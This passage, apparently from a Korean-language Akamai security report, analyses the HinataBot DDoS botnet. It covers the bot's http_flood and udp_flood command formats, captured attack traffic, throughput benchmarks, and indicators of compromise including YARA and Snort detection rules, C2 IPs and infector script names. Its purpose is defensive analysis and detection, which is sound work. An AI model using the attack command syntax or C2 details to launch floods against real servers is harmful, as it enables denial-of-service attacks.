Host: 127.127.127.127:31337
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept-Charset: ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15
Accept-Encoding: *,identity,gzip,deflate
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data, application/x-url-encoded
Cookies: ljwAbmstAHTcIeqkyIZVgRmJpibg
Keep-Alive: 20456
Referer: http://127.127.127.127:31337/asdf?a=GETA&b=GETB
GET /asdf?a=GETA&b=GETB HTTP/1.1
Host: 127.127.127.127:31337
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Charset: ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15
Accept-Encoding: *,identity,gzip,deflate
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data, application/x-url-encoded
Cookies: YnBsbIPmklTccQrcLXZeFFUJAHMa
Keep-Alive: 20084
Referer: http://127.127.127.127:31337/asdf?a=GETA&b=GETB
그림 31: 3 http_flood 샘플 공격 요청
시뮬레이션 공격 이벤트 중에 캡처된 HTTP 헤더에서 관찰한 몇 가지 중요한 내용을 살펴보겠습니다. 여기에는 정적 필드와 무작위 필드 모두에서 지문 채취에 대한 몇 가지 분명한 값이 있습니다. 보안팀에서 이 샘플 트래픽을 다루면 좋겠지만, 이를 멀웨어 제작자가 볼 경우 실제로 공격 기능을 개선하는 데 도움을 줄 수 있기 때문에 보안팀이 이 트래픽을 쉽게 발견하고 차단할 수 있는 이유를 저희가 설명드리기는 어렵습니다. 멀웨어 제작자에게 도움이 될 수 있는 부분을 제하고 이야기 한다면 많은 페이로드가 크기, 순서, 가치 면에서 상당히 정적이라는 정도로 설명할 수 있겠습니다. 일부 필드는 무작위이고 이런 필드에는 User-Agent (10개의 정적 사용자 에이전트 목록에서), Keep-Alive, Cookies 헤더가 포함됩니다. 또한 보안팀 직원은 그림 31의 샘플 트래픽에서 Host 및 Referrer 헤더도 자세히 살펴야 합니다. 공격 명령어가 표적 지시어에 표적 포트를 지정하지 않으면 TCP/80 또는 TCP/443으로 기본 설정되며, 이 포트는 헤더 중 하나에 포함되지 않습니다.
API_CONNECTION_ATTACK: 0 https://user:pass@127.0.0.1/ouch 120
그림 32: 추가 설정된 http_flood 공격에 대한 공격 명령어 구조
또한 Go net.http.Client 가 활용되기 때문에, 이 공격 종류의 설정은 표적 지시문을 통해 수행되며, (다재다능하고 매우 뛰어난) 라이브러리가 수행하는 모든 것을 지원할 것이라는 점에 주목할 필요가 있습니다. 여기에는 HTTPS, 리디렉션 추종, 도메인 확인, HTTP 인증 헤더 등이 포함됩니다. 그림 32의 공격 명령어에서 https:// 로 이동하면 내장된 라이브러리가 TLS, 표적 포트 443을 사용하게 되며, 저희는 표적 지시어에 user:pass@ 를 포함했기 때문에 트래픽에는 Authorization: Basic dXNlcjpwYXNz 헤더도 포함됩니다.
이 문서가 작성된 현재, 공격 요청 방법은 하드 코딩되어 있으므로 HTTP GET 요청에 제한되어 있는 것으로 보입니다.
공격 종류 1: udp_flood
이 udp_flood 공격 명령어 구조에는 제공된 옵션이 없는 경우에도 앞서 설명한 모든 필드가 필요합니다(그림 33). 분석 및 테스트에서는 표적 포트를 제어하는 데 사용되는 단일 옵션 필드를 식별할 수 있었습니다. 아무 옵션도 전달되지 않으면 바이너리가 공격 명령어를 구문 분석하지 못하고 경우에 따라 이 필드를 통해 전달된 값이 봇에 충돌합니다.
API_CONNECTION_ATTACK: 1 127.127.127.127 120 1531337
그림 33: udp_flood 공격에 대한 공격 명령어 구조
이 공격 명령어는 http_flood 변종과 약간 다르게 보이는데, 대부분 최종 매개변수에 전달된 UDP_OPTIONS 값(1531337)때문입니다. 이 매개변수는 UDP 패킷이 전송될 표적 포트를 제어합니다. 값은 실제로는 세 부분이며, 첫 번째 부분은 매개변수 종류(1), 두 번째는 값의 길이(5), 세 번째는 값 자체(31337)입니다.
이 네 번째 매개변수가 명령어 구문 분석에 필요한 것 같지만, 값을 삭제할 수 있으며 여기에 포트 값이 제공되지 않으면 바이너리는 공격의 표적 포트로 UDP/80을 기본값으로 사용합니다. 초기에는 이 데이터가 이 방식으로 전달되기 때문에 1~9에 대한 다른 추가 설정 매개변수를 찾을 수 있다고 가정했지만, 포트 매개변수(1)만 봇을 빠져나가는 공격 트래픽에 영향을 미치는 것으로 보입니다.
그림 34의 스크린샷은 udp_flood 소켓의 설정을 보여줍니다. 이것은 Go의 net 라이브러리를 활용하고 net.Dial 을 사용해 UDP 소켓을 생성합니다. 그런 다음 소켓을 공유하는 512명의 작업자를 생성하고, 각 작업자는 기간 타이머가 공유 채널을 통해 킬 명령어를 보낼 때까지 소켓을 통해 데이터를 푸시하며 루프에서 실행됩니다. 봇을 빠져나가는 UDP 패킷(그림 35)은 매우 크고(총 패킷당 65549바이트), 인터넷을 통해 피해자에게 세분화되어 들어올 가능성이 높습니다. 이 크기는 바이너리 내에서 하드 코딩되며 공격별로 공격자가 제어할 수 없습니다.
15:59:00.451351 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.451679 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.458964 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.459266 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.460467 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.461456 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.461807 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.462932 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.463561 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.463786 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.465147 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.465835 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.466018 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.466740 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.467265 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.467407 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.468113 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.468737 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.469076 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.470517 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.471034 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.471214 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.471957 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.472804 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.472940 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length
그림 35: UDP 공격 패킷의 패킷 캡처
UDP 데이터 세그먼트에 압축된 65507바이트는 모두 null 바이트입니다(그림 36). IP ID 헤더는 공격 중에 순차적으로 증가하며 소스 포트가 일시적이지만, 플러드가 지속되는 동안 정적 상태를 유지합니다. 이는 전체 공격자 작업자 풀에서 UDP 소켓을 관리하는 net.Dial 의 부작용일 가능성이 높습니다. 또 하나 주목해야 할 것은 UDP 데이터에 대한 체크섬이 실패했다는 것입니다.
어떻게 측정했을까요?
이 두 가지 공격 방법을 벤치마킹하기 위해 각 방법에 대해 10초 길이의 공격을 2건 실행했으며, 방법별 공격은 공격 플로우를 패킷 캡처로 보냈습니다. 그런 다음 공격 종류별로 생성된 트래픽의 전체 크기를 확인할 수 있었습니다.
이 http_flood 는 3.4MB의 패킷 캡처 데이터를 생성하고 20430 건의 HTTP 요청을 전송했습니다. 요청 크기는 요청당 484~589바이트이며, 주로 User-Agent 및 Cookie 헤더 데이터의 무작위화로 인해 크기가 다릅니다. 이러한 요청 패킷 길이는 추가 헤더(Authorization Basic 데이터 등) 포함, URL 경로 및 GET 매개변수 패딩, TLS 포함에 의해서도 영향을 받으므로 이는 그냥 참고 사항으로만 생각하시기 바랍니다.
이 공격 이벤트 동안 표적 서버도 매우 간단하고 단일한 스레드로 이루어졌음을 지적할 필요가 있습니다. 공격이 작업자 풀에 더 빠르게 응답할 수 있는 서버를 대상으로 한 경우 이러한 수치가 높아질 수 있습니다.
이 udp_flood 는 와이어를 통해 총 421MB의 패킷 캡처 데이터에 대해 6733개의 패킷을 생성했습니다. 이 공격에 대해 흥미로운 것은 많지 않습니다. 즉, 이 공격은 본질적으로 규모가 크며 볼륨을 밀어내는 데 적절한 역할을 하는 것 같습니다. 앞서 언급한 바와 같이, 이 공격으로 생성되는 패킷의 크기 때문에 실제 공격 이벤트 중에 피해자는 세분화된 폭증 상황을 보게 될 것입니다.
10초 분량의 샘플 집합과 이론화된 크기의 봇넷을 사용해 공격 규모 추정을 시작할 수 있습니다. 봇넷에 1000개의 노드만 포함된 경우 UDP Flood는 초당 약 336Gbps에 달합니다. 10000개 노드(최대 규모인 Mirai 크기의 약 6.9%)를 사용하는 UDP Flood는 3.3Tbps를 넘습니다. 1000개의 노드에서 발생하는 HTTP 플러딩은 약 2.7Gbps를 생성하고 2Mrps를 초과하는 수치를 유발합니다. 노드가 10000개일 경우 이 수치는 27Gbps로 증가하면서 20.4Mrps를 전송합니다.
이러한 이론화된 기능은 참여하게 될 다양한 서버 종류, 해당 대역폭, 하드웨어 기능 등을 고려하지 않은 것이 명백합니다. 저희 팀이 실제 규모에서 봇넷을 해결해야 하기 전에 HinataBot 제작자가 새로운 분야에 관심을 가지기를 바랄 뿐입니다.
결론
HinataBot은 특히 봇넷과 관련해 발전하는 위협 환경의 최신 사례입니다. 멀웨어 제작자는 구축 방법, 언어, 배포 방법을 지속적으로 혁신하고 있습니다. Mirai 내에서 사용되는 기술과 같이 오래된 검증된 기술을 바탕으로 공격자들은 탐지를 피하고 지속적으로 발전하며 새로운 기능을 추가하는 부분을 선별하는 데 더 집중할 수 있습니다.
HinataBot과 같이 새롭게 등장하는 위협을 지속적으로 탐구하고 분석함으로써 공격자의 기법, 기술, 절차를 더 잘 이해하고 그에 대한 보다 강력한 방어 체계를 개발할 수 있습니다. HinataBot 제품군은 오래된 취약점에 의존하며, 취약한 비밀번호를 무차별 대입해 배포합니다. 이는 강력한 비밀번호 및 패치 정책이 그 어느 때보다 중요한 이유를 보여주는 또 다른 예입니다. 공격자들은 항상 투자 수익률이 높고 결과를 보기 쉬운 대상을 찾고 있으므로 공격이 성공하기 어려운 상황을 만들면 환경과 인터넷을 안전하게 유지하는 데 큰 도움이 됩니다.
지금은 HinataBot이 겨우 시작하는 시점일 가능성이 높습니다. Akamai SIRT는 시간에 따른 발전을 지속적으로 모니터링하고, 필요하면 새로운 결과를 보고하겠습니다.
Akamai 고객은 이 봇넷이 지원하는 두 가지 공격 기능으로부터 보호됩니다.
Akamai는 UDP, TCP, ICMP 플러드를 포함한 엣지에서 비 HTTP 공격을 투명하게 방어합니다.
Akamai App & API Protector는 Akamai Client Reputation, 전송률 제어, Akamai Bot Manager, 웹 애플리케이션 방화벽 룰을 통해 이와 같은 L7 웹 애플리케이션 공격을 자동으로 방어합니다.
이 봇넷을 방어하는 방법에 대한 추가 질문이 있는 경우 Akamai 고객 담당팀으로 자세한 내용을 문의하시기 바랍니다.
IOC
YARA 룰
HinataBot 바이너리
rule detect_hinatabot_strings {
Meta:
description = "This rule detects HinataBot binaries."
confidence = "high"
strings:
$s1 = "HINATA_START_NICE"
$s2 = "API_CONNECT_BOT"
$s3 = "Connection to CNC is OK!"
$s4 = "API_CONNECTION_SIGNAL_CHECK"
$s5 = "API_CONNECTION_SIGNAL_OK"
$s6 = "API_CONNECTION_ATTACK"
$s7 = "Hinata already running"
$s8 = "API_CONNECTION_KILL_ALL"
$s9 = "hinata_exists"
$s10 = "hinata_loaded"
$s11 = "HINATA_"
condition:
3 of ($s*)
}
HinataBot 감염자 스크립트
rule detect_malicious_files {
meta:
description = "This rule detects infector scripts attempting to pull down HinataBot binaries."
confidence = "high"
strings:
$file_names = /hinata-[a-z\.0-9]+/
condition:
all of them
}
스노트 룰
http_flood
alert tcp any any -> any any (msg:"HTTP Request with HinataBot’s static header values"; flow:established, to_server; sid:1000001; rev:1; content:"Accept-Charset|3a| ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15|0d 0a|"; content:"Accept-Encoding|3a| *,identity,gzip,deflate|0d 0a|"; content:"Content-Type|3a| multipart/form-data, application/x-url-encoded|0d 0a|"; http_method;)
C2 서버로부터의 통신
alert tcp any any -> any 1420 (msg:"HinataBot API inbound connection detected."; sid:1000002; rev:1; content:"API_CONNECTION_SIGNAL_CHECK"; )
C2 서버로의 통신
alert tcp any any -> any 1420 (msg:"HinataBot API outbound connection detected."; sid:1000003; rev:1; content:"API_CONNECTION_SIGNAL_OK"; content:"API_CONNECTION_ATTACK";)
IP
77.73.131.247
156.236.16.237
185.112.83.254
포트
61420
1420
CVE
CVE-2017-17215
CVE-2014-8361
파일 이름
tftp.sh
wget.sh
hinata-linux.amd64
hinata-windows-arm5
hinata-plan9-arm5
hinata-openbsd-arm5
hinata-netbsd-arm5
hinata-linux-arm5
hinata-freebsd-arm5
hinata-windows-arm7
hinata-windows-arm64.exe
hinata-windows-arm6
hinata-windows-arm
hinata-windows-amd64.exe
hinata-windows-386.exe
hinata-solaris-amd64
hinata-plan9-arm7
hinata-plan9-arm6
hinata-plan9-arm
hinata-plan9-amd64
hinata-plan9-386
hinata-openbsd-mips64
hinata-openbsd-arm7
hinata-openbsd-arm64
hinata-openbsd-arm6
hinata-openbsd-arm
hinata-openbsd-amd64
hinata-openbsd-386
hinata-netbsd-arm7
hinata-netbsd-arm64
hinata-netbsd-arm6
hinata-netbsd-arm
hinata-netbsd-amd64
hinata-netbsd-386
hinata-linux-s390x
hinata-linux-riscv64
hinata-linux-ppc64le
hinata-linux-ppc64
hinata-linux-mipsle
hinata-linux-mips64le
hinata-linux-mips64
hinata-linux-mips
hinata-linux-arm7
hinata-linux-arm64
hinata-linux-arm6
hinata-linux-arm
hinata-linux-amd64
hinata-linux-386
hinata-js-wasm
hinata-illumos-amd64
hinata-freebsd-arm7
hinata-freebsd-arm64
hinata-freebsd-arm6
hinata-freebsd-arm
hinata-freebsd-amd64
hinata-freebsd-386
hinata-dragonfly-amd64
hinata-darwin-arm64
hinata-darwin-amd64
hinata-android-arm64
hinata-aix-ppc64
최근 해시
01422e34b2114c68cdb6ce685cd2e5673bbe5652259a0c4b862d5de2824a9375
1b958fd718f1419700c53fed10807e873e8399c354877b0a3dfceac7a8581456
8a84dc2a9a06b1fae0dd16765509f88f6f54559c36d4353fd040d02d4563f703
4aba67fdd694219ff0dff07ebd444ed154edacc00c3a61f9b661eabe811a0446
71154ad6bd1a8a79fc674c793bb82b8e7d1371eca0f909c6e4a98ef8e7f5d1da
c6a7e25290677cc7b9331343166b140f2c320764a815b241747e6913b1a386d9
92adfbe6aae06d7c99469aeb6551db8eee964b589f2b8774e29d987cfbd0e0d6
8eda08ce362c09b5f45772467f94d5370068c1798f78c5316f15647ac898c621
ff7638c0c893c021c3a059a21a71600249881afd84dc0d751d99db1c8edd3cac
a3fac6fea9201c3c3eaae47bd95e0be93e91298e48df75540958834f9e75ac4d
9875bb9dd6d159a3b327de80e151ef7f3831c0d6833ae781490d68e426b73680
6ec35ef48ffdf9a92aa8845c336b327c280e1f20d7130ba0856540aed3233bbc
C0aa34dd8dbf654d5230d4ef1db61f9befc89a0ea16cb7757edbf8a8090c9146
5643bf01e113de246575a9ec39ea12a85f9babb6ac069132ad8d1a7bfa56ed1b
845134ee7335f07b23e081f024cad5cbfc9ef453d6e2adc7970d6543292e5bcc
995681f388f5e0a405c282ae9ce22dc41f2249f0f5208254e1eec6e302d7ad7d
07326cce5325eabbe1caa2b3f8a4ab78e7913b65703c0afc3bab808441c30688
61181b4b7b7040ce4ab9c489a2b857f5a7fe8407c422327fff798f3b55e0cbe3
75c050580725279a6592eecc2b02b6fa78f5469c2f08fb1d0e2fe616beb8bf0d
E3427838132b6161f10e77d0beca1beac90c63a8ccc4aabd523041aec25aab67